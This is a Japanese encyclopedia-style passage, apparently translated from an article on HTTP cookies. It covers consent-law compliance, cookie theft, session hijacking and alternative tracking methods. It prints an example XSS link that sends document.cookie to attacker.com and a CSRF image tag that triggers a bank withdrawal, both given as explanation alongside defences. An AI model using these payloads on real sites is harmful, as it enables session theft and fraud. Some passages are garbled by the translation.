学術研究と規制当局はどちらも、法律の不遵守が広まっていると述べている。英国のウェブサイト1万件を調べた調査では、最低限の法的要件を遵守しているサイトはわずか11.8％で、クッキーを受け入れるのと同じくらい簡単にクッキーを拒否できるメカニズムを提供しているウェブサイトは、調査対象のウェブサイトのうち33.4％に過ぎなかった。 ^[80] 1万7000件のウェブサイトを調べた調査では、84％のサイトがこの基準に違反しており、さらに多くのサイトが何の通知もなくサードパーティのクッキーを置いていることもわかった。^[86]英国の規制当局である情報コミッショナー事務局は2019年に、広告技術グループのインタラクティブ広告協会による業界の「透明性と同意の枠組み」は「問題の個人データの透明性と公正な処理を確保するには不十分であり、したがって自由意志に基づく十分な情報に基づく同意を提供するのにも不十分であり、PECR [e-プライバシー] 遵守に付随する影響を及ぼす」と述べた。^[82]コンプライアンスソリューション（同意管理プラットフォーム）を販売する企業の多くは、明らかに違法な方法での設定を許可しており、学者たちはそれが責任の適切な配分に関して疑問を生じさせていると指摘している。^[87]

P3Pと呼ばれるW3C仕様は、サーバーがブラウザにプライバシーポリシーを伝え、自動でユーザーが設定できる処理を可能にするために提案されました。しかし、この仕様を実装しているウェブサイトは少なく、W3Cは仕様の作業を中止しました。^[88]

サードパーティのCookieは、ほとんどのブラウザでブロックすることができ、すべてのサイトでのユーザーのウェブエクスペリエンスに悪影響を与えることなく、プライバシーを強化し、広告会社や追跡会社による追跡を減らすことができます。一部のサイトでは「Cookieウォール」を運用しており、ブラウザで技術的にCookieを許可するか、「同意する」を押すか、またはその両方を行うことでサイトへのアクセスを条件としています。^[89] 2020年、 EUのすべてのデータ保護規制当局で構成される欧州データ保護委員会は、Cookieウォールは違法であると述べました。

同意が自由に与えられるためには、サービスや機能へのアクセスが、ユーザーの端末機器に情報を保存したり、すでに保存されている情報にアクセスしたりすることに同意することを条件とすべきではない（いわゆるクッキーウォール）。^[90]

多くの広告事業者は、行動ターゲティング広告のオプトアウトオプションを用意しており、ブラウザ内の汎用クッキーが行動ターゲティング広告を停止する。^{[91] [92]}しかし、これは、ブラウザがサードパーティのクッキーをブロックすることによる影響を回避するために人気が高まっているファーストパーティトラッキングなど、多くの形式のトラッキングに対しては効果がないことが多い。^{[93] [94]}さらに、そのような設定がトラッキングの受け入れよりも難しい場合、eプライバシー指令の条件に違反したままとなる。^[80]

ほとんどの Web サイトでは、ユーザー セッションの唯一の識別子として Cookie を使用しています。これは、Web ユーザーを識別する他の方法には制限や脆弱性があるためです。Web サイトがセッション識別子として Cookie を使用している場合、攻撃者は被害者の Cookie をすべて盗んでユーザーのリクエストを偽装できます。Web サーバーの観点から見ると、攻撃者からのリクエストは被害者のリクエストと同じ認証を持つため、リクエストは被害者のセッションに代わって実行されます。

ここでは、ユーザー識別に HTTP Cookie のみを使用する Web サイトで発生する、Cookie 盗難およびユーザー セッション ハイジャック (ユーザー Cookie を盗まない場合も含む) のさまざまなシナリオを示します。

ネットワーク上のトラフィックは、送信者と受信者以外のネットワーク上のコンピューターによって傍受され、読み取られる可能性があります (特に暗号化されていないオープンWi-Fi経由の場合)。このトラフィックには、通常の暗号化されていないHTTP セッションで送信される Cookie が含まれます。ネットワーク トラフィックが暗号化されていない場合、攻撃者は中間者攻撃を目的として、HTTP Cookie や会話の内容全体など、ネットワーク上の他のユーザーの通信を読み取ることができます。

攻撃者は傍受した Cookie を使用してユーザーになりすまし、被害者の銀行口座から送金するなどの悪意のあるタスクを実行する可能性があります。

この問題は、トランスポート層セキュリティ（HTTPSプロトコル）を使用して接続を暗号化し、ユーザーのコンピュータとサーバー間の通信を保護することで解決できます。サーバーはSecureCookieを設定する際にフラグを指定でき、これによりブラウザはTLS接続などの暗号化されたチャネルを介してのみCookieを送信するようになります。^[46]

攻撃者がDNS サーバーに偽造した DNS エントリをキャッシュさせることができれば( DNS キャッシュ ポイズニングと呼ばれる)、攻撃者はユーザーの Cookie にアクセスできる可能性があります。たとえば、攻撃者は DNS キャッシュ ポイズニングを使用して、攻撃者のサーバーのIP アドレスf12345.www.example.comを指す偽造した の DNS エントリを作成できます。その後、攻撃者は自分のサーバーから画像の URL (たとえば) を投稿できます。攻撃者のメッセージを読んだ被害者は からこの画像をダウンロードします。は のサブドメインであるため、被害者のブラウザは に関連するすべてのCookie を攻撃者のサーバーに 送信します。http://f12345.www.example.com/img_4_cookie.jpgf12345.www.example.comf12345.www.example.comwww.example.comexample.com

攻撃者がこれを実行できた場合、通常はインターネット サービス プロバイダーがDNS サーバーを適切に保護していないことが原因です。ただし、ターゲットの Web サイトがセキュア クッキーを使用している場合は、この攻撃の深刻度を軽減できます。この場合、セキュア クッキーは暗号化された接続でのみ送信できるため、攻撃者はターゲットの Web サイトの TLS 証明書を証明機関から取得するという追加の課題^[95]に直面することになります。一致する TLS 証明書がない場合、被害者のブラウザーには攻撃者の無効な証明書に関する警告メッセージが表示され、ユーザーが攻撃者の不正な Web サイトにアクセスして攻撃者にクッキーを送信することを阻止するのに役立ちます。

クロスサイト スクリプティングと呼ばれる手法を使用して Cookie を盗むこともできます。これは、フィルタリングされていないHTMLおよびJavaScriptコンテンツをユーザーが投稿できる Web サイトを攻撃者が悪用した場合に発生します。悪意のある HTML および JavaScript コードを投稿することで、攻撃者は被害者の Web ブラウザーに被害者の Cookie を攻撃者が管理する Web サイトに送信させることができます。

たとえば、攻撃者はwww.example.com次のリンクを使用してメッセージを投稿する可能性があります。

< a  href = "#"  onclick = "window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;" >ここをクリックしてください! </ a >

別のユーザーがこのリンクをクリックすると、ブラウザは属性内のコードを実行しonclick、文字列document.cookieを現在のページからアクセス可能な Cookie のリストに置き換えます。その結果、この Cookie のリストがattacker.comサーバーに送信されます。攻撃者の悪意のある投稿が HTTPS ウェブサイト上にある場合https://www.example.com、セキュア Cookie もプレーンテキストで attacker.com に送信されます。

このような悪意のあるコードを除外するのは、Web サイト開発者の責任です。

このような攻撃は、HttpOnly クッキーを使用することで軽減できます。これらのクッキーは、JavaScript などのクライアント側スクリプト言語からはアクセスできないため、攻撃者はこれらのクッキーを収集できません。

多くのブラウザの古いバージョンでは、 XMLHttpRequest APIの実装にセキュリティホールがありました。この API を使用すると、ページで応答を取得するプロキシサーバーを指定できますが、このプロキシサーバーは同一生成元ポリシーの対象ではありません。たとえば、被害者が で攻撃者の投稿を読んでいてwww.example.com、攻撃者のスクリプトが被害者のブラウザで実行されるとします。スクリプトはwww.example.comプロキシサーバー へのリクエストを生成しますattacker.com。リクエストは 向けであるためwww.example.com、すべてのexample.comCookie がリクエストとともに送信されますが、攻撃者のプロキシサーバーを経由してルーティングされます。したがって、攻撃者は被害者の Cookie を収集することができます。

この攻撃は、セキュア クッキーでは機能しません。セキュア クッキーはHTTPS接続経由でのみ送信でき、HTTPS プロトコルはエンドツーエンドの暗号化を規定しているからです(つまり、情報はユーザーのブラウザで暗号化され、送信先サーバーで復号化されます)。この場合、プロキシ サーバーは HTTP 要求の生の暗号化されたバイトのみを見ることになります。

たとえば、ボブがチャットフォーラムを閲覧していて、別のユーザーであるマロリーがメッセージを投稿しているとします。マロリーがボブの銀行のウェブサイト（画像ファイルではなく）のアクションを参照する HTML 画像要素を作成したとします。

<img src= "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" > 

ボブの銀行がボブの認証情報を Cookie に保存していて、その Cookie の有効期限が切れていない場合、ボブのブラウザが画像を読み込もうとすると、引き出しフォームが Cookie とともに送信され、ボブの承認なしに取引が承認されます。

クッキージャッキングは、 Internet Explorerに対する攻撃で、攻撃者はユーザーをだまして画面上でオブジェクトをドラッグさせることで、ユーザーのセッションクッキーを盗むことができます。 ^[96] Microsoftは、「必要なユーザーインタラクションのレベル」^[96]と、クッキーを盗むWebサイトにユーザーがすでにログインしている必要があることから、この欠陥のリスクは低いと判断しました。^[97]それにもかかわらず、ある研究者は150人のFacebookの友人に対して攻撃を試み、ソーシャルエンジニアリングを通じてそのうち80人のクッキーを入手しました。^[96]

プライバシーの懸念以外にも、クッキーには技術的な欠点もあります。特に、ユーザーを正確に識別できないこと、セキュリティ攻撃に使用される可能性があること、そしてRepresentational State Transfer ( REST )ソフトウェアアーキテクチャスタイルと相容れないことが多いことです。^{[98] [99]}

1台のコンピュータで複数のブラウザが使用されている場合、通常、各ブラウザにはCookie用の別々の保存領域があります。したがって、Cookieは個人を識別するものではなく、ユーザーアカウント、コンピュータ、Webブラウザの組み合わせを識別するものです。したがって、複数のアカウント、コンピュータ、またはブラウザを使用する人は、複数のCookieセットを持っていることになります。^[100]

同様に、Cookie は同じユーザー アカウント、コンピューター、ブラウザーを共有する複数のユーザーを区別しません。

クッキーを使用して実行できる操作の一部は、他のメカニズムを使用して実行することもできます。

JSON Web Token (JWT) は、ユーザーの ID と認証情報を保存するために使用できる自己完結型の情報パケットです。これにより、セッション Cookie の代わりに使用できます。ブラウザによって各 HTTP リクエストに自動的に添付される Cookie とは異なり、JWT は Web アプリケーションによって各 HTTP リクエストに明示的に添付される必要があります。

HTTP プロトコルには、基本アクセス認証プロトコルとダイジェスト アクセス認証プロトコルが含まれており、ユーザーが正しいユーザー名とパスワードを入力した場合にのみ Web ページへのアクセスが許可されます。サーバーが Web ページへのアクセスを許可するためにこのような資格情報を必要とする場合、ブラウザーはユーザーに資格情報を要求し、取得するとブラウザーはそれを保存して、以降のすべてのページ リクエストで送信します。この情報は、ユーザーを追跡するために使用できます。

この目的に通常使用されるのはURLのクエリ文字列部分ですが、他の部分も使用できます。JavaサーブレットとPHPセッション メカニズムはどちらも、Cookie が有効になっていない場合にこのメソッドを使用します。

この方法は、Web サーバーが Web ページ内のすべてのリンクに一意のセッション ID を含むクエリ文字列を追加するというものです。ユーザーがリンクをクリックすると、ブラウザーはクエリ文字列をサーバーに送信し、サーバーがユーザーを識別して状態を維持できるようにします。

こうした種類のクエリ文字列は、どちらもサーバーが選択した任意の情報を含み、リクエストごとにサーバーに送り返されるという点で、Cookie と非常によく似ています。ただし、いくつか違いもあります。クエリ文字列は URL の一部であるため、その URL が後で再利用されると、添付された同じ情報がサーバーに送信され、混乱が生じる可能性があります。たとえば、ユーザーの設定が URL のクエリ文字列にエンコードされ、ユーザーがこの URL を別のユーザーに電子メールで送信すると、その設定は他のユーザーにも使用されます。

さらに、同じユーザーが異なるソースから同じページに複数回アクセスする場合、毎回同じクエリ文字列が使用される保証はありません。たとえば、ユーザーが最初にサイト内のページからページにアクセスし、次に外部の検索エンジンから同じページに2 回目にアクセスした場合、クエリ文字列は異なる可能性があります。この状況で Cookie が使用された場合、Cookie は同じになります。

クエリ文字列のその他の欠点は、セキュリティに関連しています。クエリ文字列にセッションを識別するデータを保存すると、セッション固定攻撃、リファラログ攻撃、その他のセキュリティ上の弱点が発生する可能性があります。セッション識別子を HTTP Cookie として転送する方が安全です。

セッション トラッキングの別の形式は、隠しフィールドを持つWeb フォームを使用することです。この手法は、情報を保持するために URL クエリ文字列を使用することと非常に似ており、多くの同じ利点と欠点があります。実際、フォームがHTTP GET メソッドで処理される場合、GET メソッドはフォーム フィールドをクエリ文字列として URL に追加するため、この手法は URL クエリ文字列を使用することと似ています。ただし、ほとんどのフォームは HTTP POST で処理されるため、隠しフィールドを含むフォーム情報は、URL の一部でも Cookie の一部でもない HTTP 要求本体で送信されます。

このアプローチには、トラッカーの観点から 2 つの利点があります。まず、トラッキング情報を URL ではなく HTTP リクエスト本体に配置すると、一般のユーザーには気付かれなくなります。次に、ユーザーが URL をコピーしても (たとえば、ページをブックマークするため、または電子メールで送信するため)、セッション情報はコピーされません。

現在のすべての Web ブラウザは、 DOMプロパティを使用して JavaScript 経由でかなり大きなデータ (2～32 MB) を保存できます。このデータはセッション クッキーの代わりに使用できます。この手法をJSONwindow.name /JavaScript オブジェクトと組み合わせて、クライアント側で複雑なセッション変数のセットを保存できます。

欠点は、個々のウィンドウまたはタブを開いたときに、最初は空のプロパティを持つことですwindow.name。

ある意味、これはクッキーよりも安全です。クッキーのようにリクエストごとにコンテンツがサーバーに自動的に送信されないため、ネットワーク クッキー スニッフィング攻撃に対して脆弱ではありません。

一部のユーザーは、ページをリクエストしているコンピュータの IP アドレスに基づいて追跡される場合があります。サーバーは、ブラウザを実行しているコンピュータ (またはプロキシを使用している場合はプロキシ) の IP アドレスを認識しており、理論的にはユーザーのセッションをこの IP アドレスにリンクできます。

ただし、IP アドレスは一般に、セッションを追跡したりユーザーを識別したりするための信頼できる方法ではありません。オフィスの PC や自宅の PC など、単一のユーザーによって使用されるように設計された多くのコンピューターは、ネットワーク アドレス変換 (NAT) の背後にあります。つまり、複数の PC がパブリック IP アドレスを共有することになります。さらに、Torなどの一部のシステムは、インターネットの匿名性を維持するように設計されているため、IP アドレスによる追跡は非現実的、不可能、またはセキュリティ リスクになります。

ETag はブラウザによってキャッシュされ、同じリソースに対する後続のリクエストで返されるため、トラッキング サーバーはブラウザから受信した ETag を単純に繰り返すだけで、割り当てられた ETag が無期限に保持されることを保証できます (永続的な Cookie と同様の方法)。追加のキャッシュ ヘッダー フィールドによって、ETag データの保持を強化することもできます。

一部のブラウザでは、ブラウザ キャッシュをクリアすることで ETag をフラッシュできます。

ブラウザ キャッシュは、個々のユーザーを追跡するために使用できる情報を保存するためにも使用できます。この手法では、Web ブラウザが、リソースの最新バージョンがキャッシュにすでに保存されていると判断すると、Web サイトからリソースをダウンロードするのではなく、キャッシュ内に保存されているリソースを使用するという事実を利用します。

たとえば、Web サイトでは、ユーザーに固有の識別子 ( などvar userId = 3243242;) を設定するコードを含む JavaScript ファイルを提供することができます。ユーザーが最初にページにアクセスした後、そのページにアクセスするたびに、このファイルはサーバーからダウンロードされるのではなく、キャッシュから読み込まれます。したがって、そのコンテンツは変更されません。

ブラウザフィンガープリントは、識別を目的として、バージョン番号、画面解像度、オペレーティング システムなどのブラウザの構成について収集される情報です。フィンガープリントは、Cookie がオフになっている場合でも、個々のユーザーまたはデバイスを完全にまたは部分的に識別するために使用できます。

ウェブ解析サービスでは、実際の人間のウェブトラフィックを正確に測定し、さまざまな形式のクリック詐欺を排除するために、基本的なウェブブラウザ構成情報を長い間収集してきました。クライアント側のスクリプト言語の助けを借りれば、はるかに難解なパラメータの収集も可能です。^{[101] [102]}このような情報を1つの文字列にまとめたものが、デバイスフィンガープリントです。2010年に、EFFはブラウザフィンガープリントから少なくとも18.1ビットのエントロピーが得られることを測定しました。 ^[103]より最近の技術である キャンバスフィンガープリントでは、さらに5.7ビットが追加されると言われています。

一部の Web ブラウザは、後で使用するためにページが情報をローカルに保存できるようにする永続化メカニズムをサポートしています。

HTML5標準 (ほとんどの最新の Web ブラウザーがある程度サポートしています) には、Web ストレージと呼ばれる JavaScript API が含まれており、ローカル ストレージとセッション ストレージの2 種類のストレージが可能です。ローカル ストレージは永続的な Cookie と同様に動作し、セッション ストレージはセッション Cookie と同様に動作しますが、セッション ストレージは個々のタブ/ウィンドウの存続期間 (ページ セッションとも呼ばれます) に関連付けられており、セッション Cookie のようにブラウザー セッション全体に関連付けられているわけではありません。^[104]

Internet Explorerは、ブラウザの履歴、ブラウザのお気に入り、XMLストア（「ユーザーデータ」）、またはディスクに保存されたWebページ内での 永続的な情報^{[105]をサポートしています。}

一部のウェブブラウザプラグインにも永続化メカニズムが含まれています。たとえば、Adobe Flashにはローカル共有オブジェクトがあり、Microsoft Silverlightには分離ストレージがあります。^[106]

• セッション（コンピュータサイエンス）
• セキュアクッキー
• HTTP 厳格なトランスポート セキュリティ § プライバシーの問題

• Anonymous、2011 年。Cookiejacking 攻撃により Web サイト アクセス資格情報が盗まれる。Informationweek - Online、pp. Informationweek - Online、2011 年 5 月 26 日。

この記事を聞く（1時間1分）

この音声ファイルは、2016 年 5 月 28 日付のこの記事の改訂版から作成されたもので、その後の編集は反映されていません。 (2016-05-28)

(音声ヘルプ ·その他の音声記事)

ウィキメディア・コモンズには、 HTTP クッキーに関連するメディアがあります。

• RFC 6265、HTTP クッキーの現在の公式仕様
• HTTP クッキー、Mozilla Developer Network
• ECMAScript、Mozilla Developer Network 経由での Cookie の使用
• HowStuffWorksのインターネット クッキーの仕組み
• 電子プライバシー情報センター (EPIC) の Cookie
• Mozilla ナレッジベース: クッキー
• Cookie ドメイン、現在の主要ブラウザで Cookie ドメインがどのように処理されるかを詳しく説明します。
• クッキー窃盗 -マイケル・パウンド
• EUのCookie指令に準拠しているかCookieを確認する